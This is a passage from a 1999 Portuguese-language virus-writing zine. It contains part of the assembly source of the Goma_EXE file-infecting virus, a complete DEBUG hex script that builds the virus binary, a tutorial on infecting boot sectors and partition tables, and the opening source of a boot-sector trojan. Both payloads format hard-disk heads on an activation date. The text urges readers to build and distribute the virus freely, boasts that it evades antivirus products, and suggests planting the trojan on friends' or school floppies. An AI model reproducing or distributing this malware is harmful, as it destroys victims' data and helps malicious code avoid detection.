      les    ax,dword ptr [bp + Buffer + 14] ;
      mov    [bp + exe_ss],ax          ;
      mov    [bp + exe_sp],es          ;
      mov    word ptr [bp + Buffer + 16],'OG';  Escrever GOMA no arquivo
      mov    word ptr [bp + Buffer + 18],'AM';  Da flag K No TBAV , mas que 
                                       ; se foda ... vai como uma string     
                                       ; para anti-virus (se e'que existe 
                                       ; ainda AV com string para o usuario 
                                       ; procurar , acho que o PAV tem ) 
      mov    ax,mover_ponteiro         ; Vamos para o fim do arquivo
      add    ax,2                      ; 
      cwd                              ;
      xor     cx,cx                    ;
      int     21h                      ;
                                       ;
      push    ax dx                    ; Salvar o tamanho do arquivo
                                       ;
      push    bx                       ;
      mov     cl,12                    ; Calcular CS
      shl     dx,cl                    ; e IP
      mov     bx,ax                    ;
      mov     cl,4                     ;
      shr     bx,cl                    ;
      add     dx,bx                    ;
      and     ax,15                    ;
      pop     bx                       ;
                                       ;
      sub    dx,word ptr [bp + Buffer + 8]  ;
      mov    word ptr [bp + Buffer + 22],dx ;
      mov    word ptr [bp + Buffer + 20],ax ;
      add    dx,com                    ;
      mov    word ptr [bp + Buffer + 14],dx ;
                                       ;
      pop     dx ax                    ; Calcular tamanho do programa 
                                       ;
      add     ax,Tamanho + 3           ;
      adc     dx,0                     ;
      mov     cx,512                   ; 
      div     cx                       ; Salve o resultado
      inc     ax                       ;
      mov     word ptr [bp + Buffer + 2],dx ;
      mov     word ptr [bp + Buffer + 4],ax ;
                                       ;
      mov     ah,escrever_bytes        ; Escrever o virus no arquivo
      mov     cx,Tamanho + 3           ;
      lea     dx,[bp + Virus]          ;
      int     21h                      ;
                                       ;
                                       ;
      mov     ax,mover_ponteiro        ; Volte para o comecinho do arquivo
      cwd                              ;
      xor     cx,cx                    ;
      int     21h                      ;
                                       ;
      mov     ah,escrever_bytes        ; Grave a header
      mov     cx,27                    ;
      inc     cx                       ;
      lea     dx,[bp + Buffer]         ;
      int     21h                      ;
      jmp     Data_Hora                ; Feito , restaura data e horario !
                                       ;
                                       ;
int_21:                                ; 
      int     21h                      ;
      ret                              ;
                                       ;
Mensagem:                              ;
db "[TDG'99]",13,10                    ;                
db "       Goma_EXE_99 por Nim_Bus@hotmail.com",13,10,13,10               ;
db " ... Goma para sempre seu bando de Cururu ... ",13,10,13,10           ;
db " Agradecimentos :",13,10
db "            Allan , Bozo (Daniel) , Daniel , Doido (Claudio) ,",13,10 
db "   Du (Eduardo) , Guino (Welton (In Memoriam)) , Harry (Flavio) ,",13,10
db "   Henrique , Japones (Marcelo) , Jeca (Aldo) , Regis (In Memoriam) , ",13,10
db "   Ricardo , Str (Everson) , Eu e o Willian .",13,10,13,10
db "   Ao Lele'(Alexandre) , ao Pedro , ao Thyago , ao Ze' (do Belem), ",13,10
db "   ao Allan (Mutante) , ao Dark-Dream (Denis) , ao Moura (Gabriel) ,",13,10
db "   ao MMI (Marcelo) , ao Alevirus (Jose) , ao Z(Luciano) , ao Fred ,",13,10
db "   ao Lipe (Luiz),aos boy's (Marcelo, Rodrigo e Tadashi) e a toda ",13,10
db "   galera da facu (EQ 98 unicamp) ",13,10,13,10
db " Cidade Patriarca - Zona Leste - SP - Sao Paulo - Brasil",13,10,13,10 ;
db " Boa sorte , ah aperta alguma tecla para continuar ...",13,10,13,10
db " Ps. Ae galera ta ai o nome do6 agora nao enche mais o saco !!!",10,13,"$"
                                       ;
avp:                                   ;
      call    $ + 3                    ; BP do ponteiro
      pop     bp                       ;
      sub     bp,offset $ - 1          ;
      int     3                        ; Break Point para Debugger
      ret                              ;
                                       ;
Acao:                                  ;
      mov     ah,Data_Hora_Sistema     ;
      call    int_21                   ;
                                       ;
      cmp     dh,mes_ativacao          ;
      jne     Sem_acao                 ;
                                       ;
      cmp     dl,dia_ativacao          ;
      jne     Sem_acao                 ;
                                       ;
                                       ;
      mov     ah,09h                   ;                  
      lea     dx,[bp+msg_espera]       ;                 
      int     21h                      ;
                                       ;
      call    format                   ;
                                       ;
      mov     ah,09h                   ;                  
      lea     dx,[bp+mensagem]         ;                 
      int     21h                      ;
                                       ;
      mov     ah, 0                    ; Espera por uma tecla
      int     16h                      ;
                                       ;
      ret                              ;
                                       ;
Tbav_instalado:                        ;
      mov     ax,Tbav                  ; Ver se o TBSCANX esta instalado 
      mov     bx,'TB'                  ; TB=TBscanx
      int     2fh                      ;
                                       ;
      cmp     al,0                     ; al = 0 ; TBSCANX no esta instalado 
      jne     Tbav_erro                ; Esta ? Nao vamos marcar toca . Essa
                                       ; porra monitora tudo , da um boot .
                                       ;
      ret                              ; Nao esta , retorne e continua a 
                                       ; execucao do virus
                                       ;
Tbav_erro:                             ; Bom , o TBmen esta na memoria 
      mov     ax,Bips                  ; chr do bip
      int     10h                      ; Bip
                                       ;
      mov     ah, 0                    ; Esperar por uma tecla para 
      int     16h                      ;
                                       ;
      int     19h                      ; Dar o Boot
                                       ;
      ret                              ; Quer dizer , em tese , agente volta .
                                       ;
Format        proc    near             ;         
      mov     ch,0                     ; Track zero
      mov     dx,80h                   ; Cabeca zero, 1 HD
                                       ;
Fodendo:                               ;
      mov     ch,0                     ; Track zero
      mov     al,0                     ; Carregue zero
      mov     cl,6                     ; Vezes (vai dar zero)
      shl     al,cl                    ; 
      mov     cl,al                    ; Mover resultado (zero)
      or      cl,1                     ; Um agora (proxima linha zero)
      mov     ax,500h                  ; Formata track
      call    zuei                     ; 
      jb      Bip                      ; Ja deu vamos bipar
      inc     dh                       ; Proxima cabeca
      cmp     dh,9                     ; Ja estamos na nona cabeca ?
      jne     Fodendo                  ; Formata se nao
                                       ;
Format        endp                     ;
                                       ;
Bip:                                   ; Rotina de "emissao de aviso sonoro"
      mov     cx,35                    ; cx = numero de bips
beep:                                  ;
      mov     ax,Bips                  ; chr do bip
      int     10h                      ; Bip
loop beep                              ; Ate 35 , por favor !!
      ret                              ; Retorne
                                       ;
                                       ;
Retira_Vsafe:                          ; Retirar o Vsafe ou o Vwatch da 
                                       ; memoria
      mov     ax,Vsafe_Vwatch          ; Endereco que ele fica alocado     
      inc     al                       ;      
      mov     dx,5945h                 ; 
      call    int_21                   ; Desalocado se nao existem mais TSR's        
                                       ; carregados apos ele .
      ret                              ;
                                       ;
Zuei:                                  ;
      int     13H                      ; I/O
      ret                              ;
                                       ;
Sem_acao:                              ; 
      ret                              ; 
                                       ;
Msg_espera    db      'Aguarde alguns instantes ...$' ; 
Fim:                                   ;
Buffer        db      28 dup (?)       ; Buffer de leitura
DTA           db      128 dup(?)       ;
Code          ends                     ;
              end     Inicio           ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
        Como foi dito na ultima edicao do Zine, esta ai um EXE infector, um 
   pouco mais complicado que um COM infector, mas ta valendo ...
        Quem sabe no proximo numero nao vai um COM e EXE infector !!!
                                                                             
                                                                             

                      ___   ___   __   .   __   ___
                     (__   |     |__)  |  |__)   |
                     ___)  |___  |  \  |  |      |
                                                                             

                                                                             
                                                                             
  
   6 - Goma_EXE (Script File) 
  
                                                                             
        Essa parte do zine contem um script para ser utilizado no debug do 
   dos, esse script cria o virus Goma_EXE a partir do debug pelo simples co-
   mando:                                                                
                                                                             
                        DEBUG < (arquivo.scr)
                                                                             
        Recorte o script abaixo (delimitado pelos ;;;; Goma_exe.scr ;;;) e 
  crie um arquivo com qualquer nome e em seguida rode o comando dado acima, 
  pronto, o debug acaba de criar o virus GOMA_EXE no arquivo GOMA_EXE.COM.
                                                                            
                                                                             
;;;;;;;;;;;;;;;;; GOMA_EXE.SCR ;;;;;;;;;;;;;;;;;;;;;;;
N GOMA_EXE.COM
E 0100 E8 02 00 CD 20 1E 06 E8 64 05 0E 1F 8D 96 2D 07 
E 0110 B4 1A CD 21 3E FF B6 83 01 3E FF B6 85 01 3E FF 
E 0120 B6 89 01 3E FF B6 87 01 E8 74 05 E8 B6 05 E8 47 
E 0130 05 E8 67 00 3E 8F 86 87 01 3E 8F 86 89 01 3E 8F 
E 0140 86 85 01 3E 8F 86 83 01 07 1F B4 1A BA 81 00 4A 
E 0150 CD 21 8C D8 05 10 00 50 2E 03 86 83 01 2E 89 86 
E 0160 81 01 2E 8B 86 85 01 2E 89 86 7F 01 58 2E 03 86 
E 0170 89 01 FA 8E D0 2E 8B A6 87 01 E8 0E 00 FB EA 00 
E 0180 00 00 00 F0 FF 03 01 FE FF F0 FF 33 C0 99 33 DB 
E 0190 BE 00 01 E8 00 00 33 FF 33 ED C3 83 EC 40 8B F4 
E 01A0 46 B4 47 32 D2 1E 16 1F CD 21 1F 4E 36 C6 04 5C 
E 01B0 E8 18 00 8D 96 ED 01 B4 3B CD 21 73 F3 83 C4 40 
E 01C0 8B D6 1E 16 1F B4 3B CD 21 1F C3 B4 4E 3E FE 86 
E 01D0 47 02 8D 96 47 02 CD 21 3E FE 8E 47 02 72 0D 8D 
E 01E0 96 4B 07 E8 0A 00 B4 4F CD 21 73 F3 C3 2E 2E 00 
E 01F0 56 B8 00 43 CD 21 51 52 1E 33 C9 E8 41 00 B8 02 
E 0200 3D CD 21 72 38 93 B8 00 57 CD 21 51 52 B4 3F B9 
E 0210 1C 00 8D 96 11 07 CD 21 3E 80 BE 11 07 4D 74 31 
E 0220 3E 80 BE 11 07 5A 74 29 EB 23 5A 59 B8 00 57 FE 
E 0230 C0 CD 21 1F 5A 59 E8 06 00 B4 3E CD 21 5E C3 B8 
E 0240 00 43 FE C0 CD 21 C3 29 2E 45 58 45 00 59 5A EB 
E 0250 E2 3E 83 BE 2B 07 00 75 F4 3E 81 BE 21 07 47 4F 
E 0260 74 EB 3E C4 86 25 07 3E 8C 86 83 01 3E 89 86 85 
E 0270 01 3E C4 86 1F 07 3E 89 86 89 01 3E 8C 86 87 01 
E 0280 3E C7 86 21 07 47 4F 3E C7 86 23 07 4D 41 B8 00 
E 0290 42 05 02 00 99 33 C9 CD 21 50 52 53 B1 0C D3 E2 
E 02A0 8B D8 B1 04 D3 EB 03 D3 25 0F 00 5B 3E 2B 96 19 
E 02B0 07 3E 89 96 27 07 3E 89 86 25 07 81 C2 00 01 3E 
E 02C0 89 96 1F 07 5A 58 05 0F 06 83 D2 00 B9 00 02 F7 
E 02D0 F1 40 3E 89 96 13 07 3E 89 86 15 07 B4 40 B9 0F 
E 02E0 06 8D 96 05 01 CD 21 B8 00 42 99 33 C9 CD 21 B4 
E 02F0 40 B9 1B 00 41 8D 96 11 07 CD 21 E9 2C FF CD 21 
E 0300 C3 5B 54 44 47 27 39 39 5D 0D 0A 20 20 20 20 20 
E 0310 20 20 47 6F 6D 61 5F 45 58 45 5F 39 39 20 70 6F 
E 0320 72 20 4E 69 6D 5F 42 75 73 40 68 6F 74 6D 61 69 
E 0330 6C 2E 63 6F 6D 0D 0A 0D 0A 20 2E 2E 2E 20 47 6F 
E 0340 6D 61 20 70 61 72 61 20 73 65 6D 70 72 65 20 73 
E 0350 65 75 20 62 61 6E 64 6F 20 64 65 20 43 75 72 75 
E 0360 72 75 20 2E 2E 2E 20 0D 0A 0D 0A 20 41 67 72 61 
E 0370 64 65 63 69 6D 65 6E 74 6F 73 20 3A 0D 0A 20 20 
E 0380 20 20 20 20 20 20 20 20 20 20 41 6C 6C 61 6E 20 
E 0390 2C 20 42 6F 7A 6F 20 28 44 61 6E 69 65 6C 29 20 
E 03A0 2C 20 44 61 6E 69 65 6C 20 2C 20 44 6F 69 64 6F 
E 03B0 20 28 43 6C 61 75 64 69 6F 29 20 2C 0D 0A 20 20 
E 03C0 20 44 75 20 28 45 64 75 61 72 64 6F 29 20 2C 20 
E 03D0 47 75 69 6E 6F 20 28 57 65 6C 74 6F 6E 20 28 49 
E 03E0 6E 20 4D 65 6D 6F 72 69 61 6D 29 29 20 2C 20 48 
E 03F0 61 72 72 79 20 28 46 6C 61 76 69 6F 29 20 2C 0D 
E 0400 0A 20 20 20 48 65 6E 72 69 71 75 65 20 2C 20 4A 
E 0410 61 70 6F 6E 65 73 20 28 4D 61 72 63 65 6C 6F 29 
E 0420 20 2C 20 4A 65 63 61 20 28 41 6C 64 6F 29 20 2C 
E 0430 20 52 65 67 69 73 20 28 49 6E 20 4D 65 6D 6F 72 
E 0440 69 61 6D 29 20 2C 20 0D 0A 20 20 20 52 69 63 61 
E 0450 72 64 6F 20 2C 20 53 74 72 20 28 45 76 65 72 73 
E 0460 6F 6E 29 20 2C 20 45 75 20 65 20 6F 20 57 69 6C 
E 0470 6C 69 61 6E 20 2E 0D 0A 0D 0A 20 20 20 41 6F 20 
E 0480 4C 65 6C 65 27 28 41 6C 65 78 61 6E 64 72 65 29 
E 0490 20 2C 20 61 6F 20 50 65 64 72 6F 20 2C 20 61 6F 
E 04A0 20 54 68 79 61 67 6F 20 2C 20 61 6F 20 5A 65 27 
E 04B0 20 28 64 6F 20 42 65 6C 65 6D 29 2C 20 0D 0A 20 
E 04C0 20 20 61 6F 20 41 6C 6C 61 6E 20 28 4D 75 74 61 
E 04D0 6E 74 65 29 20 2C 20 61 6F 20 44 61 72 6B 2D 44 
E 04E0 72 65 61 6D 20 28 44 65 6E 69 73 29 20 2C 20 61 
E 04F0 6F 20 4D 6F 75 72 61 20 28 47 61 62 72 69 65 6C 
E 0500 29 20 2C 0D 0A 20 20 20 61 6F 20 4D 4D 49 20 28 
E 0510 4D 61 72 63 65 6C 6F 29 20 2C 20 61 6F 20 41 6C 
E 0520 65 76 69 72 75 73 20 28 4A 6F 73 65 29 20 2C 20 
E 0530 61 6F 20 5A 82 28 4C 75 63 69 61 6E 6F 29 20 2C 
E 0540 20 61 6F 20 46 72 65 64 20 2C 0D 0A 20 20 20 61 
E 0550 6F 20 4C 69 70 65 20 28 4C 75 69 7A 29 2C 61 6F 
E 0560 73 20 62 6F 79 27 73 20 28 4D 61 72 63 65 6C 6F 
E 0570 2C 20 52 6F 64 72 69 67 6F 20 65 20 54 61 64 61 
E 0580 73 68 69 29 20 65 20 61 20 74 6F 64 61 20 0D 0A 
E 0590 20 20 20 67 61 6C 65 72 61 20 64 61 20 66 61 63 
E 05A0 75 20 28 45 51 20 39 38 20 75 6E 69 63 61 6D 70 
E 05B0 29 20 0D 0A 0D 0A 20 43 69 64 61 64 65 20 50 61 
E 05C0 74 72 69 61 72 63 61 20 2D 20 5A 6F 6E 61 20 4C 
E 05D0 65 73 74 65 20 2D 20 53 50 20 2D 20 53 61 6F 20 
E 05E0 50 61 75 6C 6F 20 2D 20 42 72 61 73 69 6C 0D 0A 
E 05F0 0D 0A 20 42 6F 61 20 73 6F 72 74 65 20 2C 20 61 
E 0600 68 20 61 70 65 72 74 61 20 61 6C 67 75 6D 61 20 
E 0610 74 65 63 6C 61 20 70 61 72 61 20 63 6F 6E 74 69 
E 0620 6E 75 61 72 20 2E 2E 2E 0D 0A 0D 0A 20 50 73 2E 
E 0630 20 41 65 20 67 61 6C 65 72 61 20 74 61 20 61 69 
E 0640 20 6F 20 6E 6F 6D 65 20 64 6F 36 20 61 67 6F 72 
E 0650 61 20 6E 61 6F 20 65 6E 63 68 65 20 6D 61 69 73 
E 0660 20 6F 20 73 61 63 6F 20 21 21 21 0A 0D 24 E8 00 
E 0670 00 5D 81 ED 71 06 CC C3 B4 2A E8 81 FC 80 FE 0A 
E 0680 75 71 80 FA 16 75 6C B4 09 8D 96 F4 06 CD 21 E8 
E 0690 26 00 B4 09 8D 96 01 03 CD 21 B4 00 CD 16 C3 B8 
E 06A0 00 CA BB 42 54 CD 2F 3C 00 75 01 C3 B8 07 0E CD 
E 06B0 10 B4 00 CD 16 CD 19 C3 B5 00 BA 80 00 B5 00 B0 
E 06C0 00 B1 06 D2 E0 8A C8 80 C9 01 B8 00 05 E8 20 00 
E 06D0 72 07 FE C6 80 FE 09 75 E4 B9 23 00 B8 07 0E CD 
E 06E0 10 E2 F9 C3 B8 00 FA FE C0 BA 45 59 E8 0F FC C3 
E 06F0 CD 13 C3 C3 41 67 75 61 72 64 65 20 61 6C 67 75 
E 0700 6E 73 20 69 6E 73 74 61 6E 74 65 73 20 2E 2E 2E 
E 0710 24 
RCX
0611
W
Q
;;;;;;;;;;;;;;;;; GOMA_EXE.SCR ;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
                                                                             
        Bom o script do Goma_EXE esta ai, e' so' rodar o debug para criar o 
   Goma.1551. Que ate' o momento e' 100% desconhecido, nao perca tempo, ro-
   de o script no debug e distribua a vontade ... 
        Lembre-se que esse e' um virus que infecta arquivos .EXE caso exis-
   ta um NE no diretorio (new exe - 32 Bits), ele sera possivelmente infec-
   tado e com certeza nao funcionara corretamente, tome cuidado, pois difi-
   cilmente voce tera seu arquivo de volta ...
                                                                             
                                                                             
 
                          __  ___  ___ / __   .   __
                    |\/| |__|  |  |__   |__)  |  |__|
                    |  | |  |  |  |___  |  \  |  |  |
                                                                             
 
                                                                                 
                      
                          7 - Virus de Boot
                     
                                                                              
   Dos originais de Dark Angel em ingles , e com modificacoes de nim_bus
                                                                             
                 
                              Virus de Boot 
                  (Entenda-os , contrua-os , divirta-se)
                 
                                                                             
        Abordaremos nesse artigo virus de boot e Mbr (Tabela de Particao)
                                                                             
        Os virus "normais" ( TSR's , COM e EXE infectors ) sao executados 
   depois do sistema operacional ser iniado . Os virus de Boot (designarei
   como sendo virus de boot (o proprio boot de discos flexiveis e o mbr de 
   Hard Disks)) tentam iniciar o sistema operacional, se encontram ,ja es-
   tao na memoria esperando futuras vitimas, se nao esperam por novos dis-
   cos (mas ja infectando-os).                                           
        Vamos falar um pouco de como e' dividido um disco :             
   O disco e' dividido em blocos com 512 bytes cada (Floppy-Disquete)     
   Os blocos variam de acordo com o tamanho do disco                      
   O inicio do disco se encontra no bloco 0                              
        A BIOS da tres valores para cada bloco do disco ( setor, cilindro 
   ou trilha e cabeca ou lado ) e se representa pela forma (setor, trilha, 
   cabeca).                                                             
        Cada disco contem um certo numero de setores, trilhas e cabecas.
   Setores sao numerados de 1 ate setor
   Trilhas sao numeradas de 0 ate trilha-1
   Cabecas sao numeradas de 0 ate cabeca-1
                                                                          
        Veja o exemplo:                                                  
        O Bloco 0 sera setor  = 1                                         
                       trilha = 0                                         
                       cabeca = 0                                         
        O Bloco 1 sera setor  = 2                                         
                       trilha = 0                                         
                       cabeca = 0                                         
        O Bloco 2 sera setor  = 3                                         
                       trilha = 0                                         
                       cabeca = 0                                         
                                                                           
        E assim vai, ate que mudamos de trilha (Depende do numero de se-
   tores que estao na trilha ,quando encher vai para a proxima trilha).  
                                                                         
        Exemplo :                                          
        Um Bloco da trilha 1 (um bloco qualquer)
                       setor  = X (um x qualquer)
                       trilha = 1                                         
                       cabeca = 0                                        
                                                                         
        Ate chegarmos na outra cabeca (quando trilhas e setores ja esti-
   verem completos).                                         
                                                                        
        Voce tem que entender o processo como o boot ocorre para entender
   os virus de boot . Vamos entao a historinha de como se procede um Boot.
        Quando o computador e resetado, a BIOS checa o primeiro bloco 
   (1,0,0) [notacao : (1,0,0) -> (setor = 1,trilha =0 ,cabeca = 0) , do 
   primeiro HD do sistema ou do Floppy (Existem BIOS que permitem a opcao 
   da sequencia de Boot de A: para C: (1 em A: se nao achar procura em 
   C:) ou de C: para A: ) no endrececo de memoria 7c00h (Hexa please!!!)  
   o bloco que foi lido (se existir uma HD) sera checado com a assinatura
   55AAh (em 1FEh) . Essa marca o 55aah indica que e' uma particao valida. 
   Se a particao nao e encontrada, o codigo entao sera executado em 0:7c00 
   (Formata um disco pega seu boot e abra no TD, caso queira acompanhar 
   melhor) . Se nao achar uma tabela de Particao (chamo so de particao) ou 
   o HD nao existir . A BIOS le o primeiro bloco do disquete (tipo o a:) 
   em 7c00h . Se o disquete for valido ,isto e', dar pra ser lido , o pro-
   grama que esta no disquete (no boot) sera carregado e executado. Nao ha 
   a checagem como na Particao 55AAh , mas muitos setores de boot os con-
   tem (digamos que virou padrao !!!).                                  
        A tabela de particao e basicamente uma simples estrutura no final 
   do primeiro bloco do HD que define onde cade sistema operacional existe 
   no HD ( Essa e a diferenca basica entre o boot de disquete e o de HD ).
        A estrutrura da particao (tabela) comeca em 1beh no bloco e con-
   siste num vetor(array) com quatro entradas . Veja as entradas :
                                                                        
   Offset     Tamanho              Descricao
     0         BYTE        Indicador de boot. 0 = sem boot, 80h = com boot
     1         BYTE        Cabeca onde comeca a particao      
     2         BYTE        Setor onde comeca a particao      
     3         BYTE        Cilindro onde comeca a particao      
     4         BYTE        Indicador de sistema , indica qual Sistema Ope-
                            racional reside na particao. 
                            01 indica DOS 12-bit FAT
                            04 indica DOS 16-bit FAT
     5         BYTE        Cabeca onde acaba a particao
     6         BYTE        Setor onde acaba a particao
     7         BYTE        Cilindro onde acaba a particao
     8         DWORD       Numero total de blocos que precendem a particao
    0Ch        DWORD       Numero total de blocos na particao
                                                                          
        O codigo na tabela de particao carrega o boot record da particao
   ativa ( a qual esta indicada no primeiro bit na estrutura da tabela de 
   particao ). O boot record entao carrega o sistema operacional que resi-
   de na respectiva particao .                                         
        Quando a BIOS decide realizar o boot de um disquete , ela le no
   primeiro bloco do disquete para 7c00h . Disquetes nao tem tabela de 
   particao , entao esse bloco e equivalente ao boot record de uma parti-
   cao do HD.                                         
        No DOS, o boot record consiste em 3 bytes para um JMP seguido pe-
   la estrutura abaixo , as vezes , conhecido como bloco de parametro da 
   BIOS (BPB). Veja a estrutura :                                        
                                                                         
   Offset     Tamanho              Descricao
     3        8 bytes       OEM nome e versao (ASCIIZ) ; ID do BOOT
    0B        Word          Bytes por setor
    0D        Byte          Setores por cluster
    0E        Word          Setores reservados (inicio no setor logico 0)
    10        Byte          Numero de FAT's
    11        Word          Numero de entrada de diretorio (32 bytes cada)
    13        Word          Numero total de setores 
    15        Byte          Descritor da midia 
    17        Word          Setores por FAT
    19        Word          Setores por track
    1B        Word          Numero de cabecaos
    1D        Word          Numero de setores escondidos
                                                                                    
        O restante dos 512 miseros bytes do boot consistem no codigo que 
   carrega e executa os arquivos de sistema do sistema operacional pensa-
   mos agora no DOS .                                                  
        Primeiramente e importante notar que a tabela de particao e uma 
   convencao que permite a diferentes sistemas operacionais a co-existi-
   rem num mesmo HD. A estrutura do boot record definida acima e usada pe-
   lo DOS e para os programas do DOS . E evidente que outro sistema opera-
   cional tambem possa interpretar essa estrutura (e viavel, mas nao muito 
   provavel).                                                             
        O DOS nao reconhece tabelas de particao se nao estiverem no seu 
   local usual. Disquetes nao funcionam corretamente se o boot record nao 
   for carregado quando o DOS "pedir" a leitura do primeiro bloco. Em ou-
   tras palavras, tenha certeza de que todas as "requisicoes" do seu boot 
   estejam nos lugares corretos. Uma saida muito boa para isso e modificar 
   os blocos para alocar uma copia do original, sendo assim : stealth.
        Entendendo mais ou menos essas estruturas , o metodo de infeccao
   sera nao muito complicado.O unico probleminha e substituir o codigo da
   tabela de particao ou o boot record pelo seu (o que voce criou) . Todo
   o seu codigo tem que armazenar o bloco em algum lugar do disco e trocar
   o bloco com ele mesmo. Quando o virus se torna ativo, ele precisa colo-
   car a si mesmo na memoria e entao carregar o bloco original na memoria 
   em 7c00h e transferir o controle para esse codigo . Uma vez na memoria,
   o virus esta livre para infectar qualquer disco que entre em contato 
   com esse computador .                                                 
        Isso ser muito legal e facil de ser dito , mas existem detalhes 
   que lhe serao muito importantes de saber antes de sair por ai escreven-
   do um virus de boot.                                                  
        Quando o controle e transferido para uma tabela de particao ou ao
   boot record , CS:IP sera setado para 0:7c00 ; SS:SP nao esta definido .
   E muitos virus de boot setam para 0:7c00 , o que leva a pilha a ser co-
   locada logo abaixo da area de carga (carregamento do programa) . Isso 
   suficiente para as necessidades da maioria dos virus.                 
         de muita utilidade ser capaz de achar espacos vagos para armaze-
   nar o setor de boot original ou a particao original . Aqui o virus tem 
   uma porrada de escolhas :                                           
        Em HD's , muitos virus armazenam a particao original num espcao 
   nao utilizado entre a tabela de particao e a primeira particao. A pri-
   meira particao geralmente comeca em (2,1,0) ou depois disso, entao quer 
   dizer, existe um espaco para armazenagem l.                          
        Ainda em HD's os virus podem armazenar no final do diretorio raiz,
   porem, existe o risco de escrever porcima de entradas validas de diret-
   rio.                                                                   
        Uma alternativa que tambm  muito utilizada, a de alterar a FAT.
   A FAT  um vetor de entradas que descreve como os blocos do disco esto 
   relatados. As entradas da FAT so de 12 e 16 bits (quando o cara escre-
   veu a materia) de tamanho, dependendo do disco . 12 bit's so utilizados 
   mais em parties com menos de 20740 setores e a de 16 com mais do que 
   esse nmero. A idia  que o vrus encontre blocos vazios atravs da FAT, 
   marque-os como bad block (Invlido) , entao coloque o codigo do vrus l. 
   Com esse modo o DOS pensa que o bloco e invalido e nao escreve nada la, 
   preservando assim o virus no local que ele se encontra.
        Uma coisa importante nos virus de tabela de particao  que eles po-
   dem preservar a tabela de particao neles mesmos . Por exemplo , deixe a
   tabela de particao em 1beh no primeiro bloco do disco isso tera uma van-
   tagem pois o DOS reconhecera o disco mesmo que o virus nao esteja carre-
   gado na memria .
        Nao preservar a estrutura original do disco faz com que fique mais
   dificil o boot do computador sem carregar o virus na memoria , desde que
   o DOS nao reconheca o drive (voce nao preservou a estrutura , o DOS nao
   reconheceu , ate ai seu virus ja esta na memoria do mesmo jeito , ai o
   usuario insere um disco com boot e puf infecta se nao tiver com a lin-
   gueta travada ...) . Sendo seu virus ativo na memoria dificilmente um
   simples FDISK /MBR ira tirar seu virus de l ...
        Bom aqui o cara acaba a materia dele dizendo que nao colocaria 
   nenhum fonte , pois tem que explicar ums bago a mais ( o mais que ele tem 
   que explicar sao comandos de alocacao de memoria s isso , veja qualquer 
   TSR e tenha uma base (se bem que e'bem mais complicado com no SETOR de 
   BOOT).                                                                  
        Como eu que traduzi, alterei e adaptei a materia inserirei um 
   codigo para um setor de boot , nada como um virus , pois estou esperando
   arrumar os fontes do Lendro&Kelly , mas um bom trojanzinho de BOOT como
   ilustracao acho que ja vale ...
        Vide a Proxima Materia ...
                                                                             
                                                                             
 
                   ___   __    __    ___    ___      
                    |   |__)  |  |    |    |___|   |\ | 
                    |   |  \  |__|   /     |   |   | \|
                                                                             
 
                                                                            
  
   8 - GomaBoot_Trojan (Codigo Fonte)
 
                                                                            
        Bom, como prometido acima, ai vai os fontes de um cavalo de troia 
  que ficara' no setor de boot dos disquetes de seus amigos, ou da sua es-
  cola, firma ou sei l , onde sua imaginacao permitir.
                                                                            
                   E' so' rodar o A86 e s alegria ...
                                                                            
                                                                            
             ... Goma para sempre seu bando de cururu ... 
                   `A memoria de Regis e Guino
             ... Goma para sempre seu bando de cururu ... 
                                                                             
   Comentrios :
                                                                             
        O trojan tem 512 bytes de tamanho (o tamanho do setor de boot (bah), 
   mas ele nao tem os 512 ,tem menos. Tanto que precisei usar uns dup para 
   encher os 512, por se tratar de um trojan, ele nao se multiplica senao 
   seria virus (bah), voce que vai ter que infectar os disquetes, o trojan, 
   nao fica alocado na memoria e funciona como um boot normal de disquetes 
   sem sistema, escreve mensagem e tudo. Ah ele esta com os parametros para 
   um disco de 1.44 caso deseje parametros para outros discos, mande um mail
   o trojan so' funciona no dia 22/10/????, nao nesse dia e' um boot normal.
                                                                             
   - Sem Flags no TBAV (Flag t apenas , logico ativacao dia 2210) , Nada na 
   Heuristica do F-PROT e Nada no DEEP do AVP .
                                                                              
        Quer dizer e' mais um produto e' 100 % desconhecido !!!! 
                        (S para variar...)
                                                                              
   - Data de Ativacao
        22/10/????   Voces j sabem o por que.
                                                                             
   - Acao do trojan
        Formatacao das 9 primeiras cabecas da HD , 35 bips e mensagem 
   (e' logico) !!! (Acao implementada no Goma_COM)
                                                                             
   - Rotinas que merecem destaque:
        No houveram rotinas desse tipo.
                                                                             
;;;;;;;;;;;;;;;;;;;;;;;;;;;;  GomaBoot_Trojan   ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; * Utilize o compilador A86 para compilar                                   ;
; Ex. : A86 boot.asm boot.com                                                ;
;                                                                            ;
; * Coloque no boot de um disco de preferencia de 1.44                       ;
; Ex. : DEBUG boot.com                                                       ;
; -w 100 0 0 1                                                               ;
; -q                                                                         ;
;;;;;;;;;;;;;;;;;; Pronto seu boot ja esta infectado ;;;;;;;;;;;;;;;;;;;;;;;;;
page          22101997
title         Virus Brasil n2 em 1999 por nim_bus@hotmail.com
name          Goma_Boot_Trojan               
                                                                              
.286c                               ; Instrucoes 80286 
.model tiny                         ; Modelo de memoria
                                    ;
BOOT    segment byte public 'code'  ;
        assume cs:BOOT,ds:BOOT      ;
        org 0h                      ;
;;;;;;;;;;;;;;;;;;;;;; Constantes ;;;;;;;;;;;;;;;;;;;;;;;;;
Mensagem            equ   Inicio_Msg - Parametros         ;
Tamanho_Msg         equ   Fim_Msg - Inicio_Msg            ;
Completa_512        equ   512 - (Fim - Parametros) - 2    ;
data_sistema        equ   04h                             ;
data_ativacao       equ   1022h                           ;
Bips                equ   0e07h                           ;    
Mensagem_fodeu      equ   Inicio_Msg_fodeu - Parametros   ;
Tamanho_Msg_fodeu   equ   Fim_Msg_fodeu - Inicio_Msg_fodeu;
;;;;;;;;;;;;;;;;;;;;;; Constantes ;;;;;;;;;;;;;;;;;;;;;;;;;
                                    ;
Inicio  proc   far                  ;
                                    ;
Parametros:                         ;
        jmp    Trojan               ; Jump para o Trojan ...
                                    ;
;;;; Parametros Disquete de 1.44 ;;;;
        db      "[TDG'99]"          ; 03h-0Ah ID do sistema
        dw      200h                ; 0Bh-0Ch bytes por setor
        db      1h                  ; 0Dh setores por granulo
        dw      1h                  ; 0Eh-0Fh setores na area reservada
        db      2h                  ; 10h numero de copias da fat
        dw      0e0h                ; 11h-12h entradas do diretorio raiz
        dw      0b40h               ; 13h-14h total de sectores
        db      0FEh                ; 15h descritor de midia
